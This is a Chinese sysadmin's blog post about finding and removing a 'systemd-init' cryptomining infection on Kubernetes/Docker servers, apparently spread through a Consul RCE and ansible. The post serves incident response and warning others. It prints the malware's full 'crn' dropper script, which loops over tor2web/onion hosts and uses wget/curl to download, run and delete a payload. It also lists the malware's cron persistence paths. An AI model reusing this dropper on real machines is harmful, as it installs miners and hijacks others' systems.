一个名为systemd-init的CPU挖矿病毒及后续

作者 root 在安全

今天接到了报警,一台内部的服务器CPU负载嗷嗷的高,感到非常的疑惑,就点进去看看负载情况

CPU爆满

监控诚不欺我,果然是CPU跑爆了,然后看看Command,发现都是M开头的,这肯定就是病毒了,就开始处理

发现运行最长的进程PID是32336,就拿它下刀开始查

发现,毛都查不到,就开始按照常规开始查crontab、rc.local,结果有发现

这是个非常令人蛋疼东东,就去看看里面到底写了什么

这次的病毒比上次处理的要高明多了,还知道用BASE64加密一下,但是然并卵,分分钟解密出来了,稍微研究了下发现关键点是这么一句:

if ! ls /proc/$(cat /tmp/.X11-unix/0)/io; then

/tmp/.X11-unix/0 这个文件应该是不存在的,这里既然有这个,那就开始处理一下,发觉/tmp/.X11-unix/下面有 0 1 2 三个文件夹,对应的三个PID

发觉还是查不到,但是起码知道了4fmW2Z这个进程是关键,然后就开始该删除的删除,该停止的停止

注释掉crontab里面的任务,kill掉三个进程,删除掉/tmp/.X11-unix里的文件,再看服务器恢复了正常

然后就是继续观察,看看还会不会起来新的进程

这次的病毒明显比上次的病毒要牛逼,但是貌似三个PID是固定的,9581、15755和32336,以后如果有人发现了这三个病毒,直接咔掉就好,就不需要另行烦恼了

然后深入的分析一下病毒是几个意思,从crontab里面的脚本摘出wget命令下载一下,起了一个docker容器开始搞

# wget -t1 -T180 -qU- -O–no-check-certificate intelbagjop7nzm5.tor2web.io/crn || curl -m180 -fsSLkA- intelbagjop7nzm5.tor2web.io/crn

crn脚本会下载int脚本病毒,int病毒脚本会下载cpu脚本病毒,但是int脚本和cpu脚本都是加密的,crn脚本如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d” “)
wget -t1 -T180 -qU- –no-check-certificate $1$f -O$d || curl -m180 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
d=”rm -f asdf”
touch /tmp/asdf && cd /tmp && $d
touch /var/tmp/asdf && cd /var/tmp
touch /dev/shm/asdf && cd /dev/shm && $d
touch /usr/bin/asdf && cd /usr/bin && $d
touch /opt/consul/asdf && cd /opt/consul && $d
touch /data/consul/asdf && cd /data/consul && $d
touch /var/lib/psql/asdf && cd /var/lib/psql/asdf && $d
touch /var/lib/psql/data/asdf && cd /var/lib/psql/data && $d
touch /var/lib/postgres/asdf && cd /var/lib/postgres && $d
touch /var/lib/postgres/data/asdf && cd /var/lib/postgres/data && $d
touch /var/lib/postgresql/asdf && cd /var/lib/postgresql && $d
touch /var/lib/postgresql/data/asdf && cd /var/lib/postgresql/data && $d
touch $PGDATA/asdf && cd $PGDATA && $d
for h in tor2web.io d2web.org onion.in.net onion.glass onion.mn onion.to onion.sh onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/0)/io; then
x intelbagjop7nzm5.$h
else
break
fi
done

真是不看不知道,一看吓一跳,TMD给弄了这么东西,挨个研究吧,多余的就不多说了

最近病毒肆虐漏洞频发,还是及时更新为上

后续(第二天):

本以为就这一台服务器被搞了,没想到不是这一台,而是N多台服务器,目前这台服务器有权限连接的全部中招,如下图所示,我已经挨个处理过了

所有的症状都是跑满CPU,有一个计划任务的路径是/root/.systemd-init,/tmp/.X11-unix/路径下有 0 1 2 三个文件夹,三个文件夹是两个PID号,有一个文件夹是空的,在 / 路径和 /var/tmp/ 路径下有空文件asdf

如果是这样的症状,那就是跟我中的一样的病毒,还在继续研究这个病毒是从那里来的,但是中毒的这批机器,都是跑kubernetes和docker的,联想到之前kubernetes爆出的大漏洞,嗯···及时更新才是正道。

在修复过程中,意外发现了一个非常蛋疼的事情,有一台机器的crontab注释会被解开,说明crontab被复写

最终发现这台服务器根本没有动过也没有任何重启操作,应该还是计划任务的问题,然后就仔细的研究了研究crontab的文件,最终在/etc/cron.d/发现一个名为0systemd的文件。

文件内指向systemd-init文件,就看看这个文件内容是什么,结果发现确实是同一个病毒

然后查看下所有的服务器,发现确实是都有这个计划任务和病毒文件

ansible -i hosts all -m shell -a “sed -i ‘s/0/#0/g’ /etc/cron.d/0systemd” # 全部注释掉

怕还有别的就开始查询 # find / -name systemd-init -print

后续(第三天):

经过昨天晚上一晚上的检索,在/var/log/messages*里又发现了一些线索,发现利用ansible传播病毒

/usr/lib/systemd/systemd-init 又发现了一个病毒路径,真是防不胜防

然后有发现了另外的两个病毒脚本

惊奇的发现另外一个systemd-login的病毒,又遍历了一遍所有服务器,没有发现这个,幸好幸好

结合上面所有的问题和表现,最后总觉得这个2017年的病毒应该暴出来过,经过一番谷歌,发现了一篇文章,链接如下:

《利用Consul RCE漏洞传播的挖矿木马分析》

https://www.anquanke.com/post/id/173818

总算是找到了漏洞是什么,下面就是抓紧时间修补漏洞和删除病毒了

下篇文章搞一下如何删除病毒

一个名为systemd-init的CPU挖矿病毒及后续相关推荐

  1. linux journalctl 命令 查询systemd init 系统日志

    journalctl 用来查询 systemd-journald 服务收集到的日志.systemd-journald 服务是 systemd init 系统提供的收集系统日志的服务. 命令格式为: j ...

  2. 通过限制挖矿病毒cpu占用率来解决挖矿病毒,简单奏效

    中了挖矿病毒尝试使用了删除病毒脚本 最终无效 尝试使用定时任务的方式去处理病毒,发现定时任务被锁定,会自动修改定时任务.看了好多帖子处理这个病毒很是麻烦,下面使用工具进行处理. 首先再服务器中下载使用 ...

  3. dbused把我的CPU占满了!linux服务器挖矿病毒的解决历程

    dbused把我的CPU占满了!linux服务器挖矿病毒的解决历程 现象描述 今天通过密钥以普通用户tung的身份登录远程Cent OS服务器时,连接出现非常严重的卡顿,进入后发现CPU被名为dbus ...

  4. jenkins漏洞导致服务器中了挖矿病毒!cpu飙高351%!看我如何消灭它!

    作者:SilentBillows,资深Java工程师,架构师小秘圈特约作者!欢迎大家投稿,在后台回复投稿即可! 一, 定位问题 1.发现cpu异常,查看对应的进程信息 [root@versionlib ...

  5. 解决挖矿病毒占用cpu以及误删 ld-linux-x86-64.so.2 文件的问题

    上次已经被抓去挖矿了当了一次旷工了,本以为解决了,没想到竟然死灰复燃. 这次占用cpu的依然是一个ld-linux的进程,kill掉之后同样就查了关于test用户的进程,果然,test用户的进程有10 ...

  6. 揭秘Ocam的cpu挖矿机

    神秘的BRTSvc Ocam这款软件确实很强大很好用的软件,但是总是有广告,最近换了Bandicam在用,却发现不太习惯,在卸载了ocam后又重新安装了一下 突然一个小小的框框引起注意 搜索了一下,发 ...

  7. java源程序是由类定义_无论Java源程序包含几个类的定义,若该源程序文件以A.java命名,编译后生成的都只有一个名为A的字节码文件...

    无论Java源程序包含几个类的定义,若该源程序文件以A.java命名,编译后生成的都只有一个名为A的字节码文件 答:× 小儿头皮静脉输液时如误注入动脉,局部表现为: 答:呈树枝状苍白 人民群众既是历史 ...

  8. 解决挖矿病毒占用高cpu(sysupdate、networkservice)

    我也是有一段时间服务器变的很卡,那时我还以为是我自己的软件装太多导致的问题,不看不知道,看了吓一跳,服务器已经被攻击了,接下来,我来分享下如何查找和解决这个病毒. 一.找出病毒 当发现服务器卡的时候, ...

  9. 已知有一个名为MyServlet的程序,程序可向浏览器输出“Hello MyServlet”。请编写一个用于拦截MyServlet程序的MyFilter拦截器。

    1:题目详情: 已知有一个名为MyServlet的程序,程序可向浏览器输出"Hello MyServlet".请编写一个用于拦截MyServlet程序的MyFilter拦截器. 要 ...

最新文章

  1. [转]在cocos2d-x中让一个项目适配iphone、iphone retina、ipad、ipad retina四种分辨率
  2. ThinkPHP读取数据库数据到模板文件
  3. nginx下启动php-fpm相关错误信息集锦(长期补充)
  4. 简单网络管理协议(SNMP)实现linux系统信息网络监控
  5. java单例模式_Java描述设计模式(01):单例模式
  6. Linux——SSH连接错误【No supported authentication methods available】解决方案
  7. windows下的C/C++精确计时
  8. 各种水龙头拆卸图解_水龙头上包卫生纸,竟有这种效果!邻居看了都想学
  9. I.MX6 Linux Serial Baud Rate hacking
  10. [转]游戏UI与flash 组件开发
  11. 说出来可能不信,现在酒厂都在招算法工程师
  12. Java匹马行天下之 Java国出了个Java——举国欢庆
  13. 【AIgua小白之路】Windows10安装MySQL10.0.15Archive版 【手把手系列】
  14. CAD注册机注册码不能正常使用,解决方案
  15. 怎么用一个计算机控制两个屏幕,一台电脑控制多个led显示屏
  16. python打印九九乘法口诀_PYTHON如何打印九九乘法表
  17. UUCTF(公共赛道)
  18. vue校验密码的三种写法
  19. 谷歌SEO之中小企业网站结构化数据实施的战略价值
  20. [Python3]数独计算器

热门文章

  1. GDKOI2021Day3记
  2. 帮我用python编写每小时在新浪财经网获取股票小时数据的程序
  3. req.query和req.body的区别
  4. linux命令之file命令
  5. css图片居中不好,厉害了我的哥,css图片居中原来有这么多种方法
  6. 大数据美妆大赏_芭莎美妆大奖2016最强大数据美妆榜单要你好看!
  7. 【MySQL】“青协”义工管理系统
  8. html tabl自动生成序列号,如何为el-table组件添加序号
  9. Kafka淘汰倒计时!这个云原生消息中间件,腾讯、华为都用疯了?
  10. 详解鲸鱼优化算法原理、数学模型和实例代码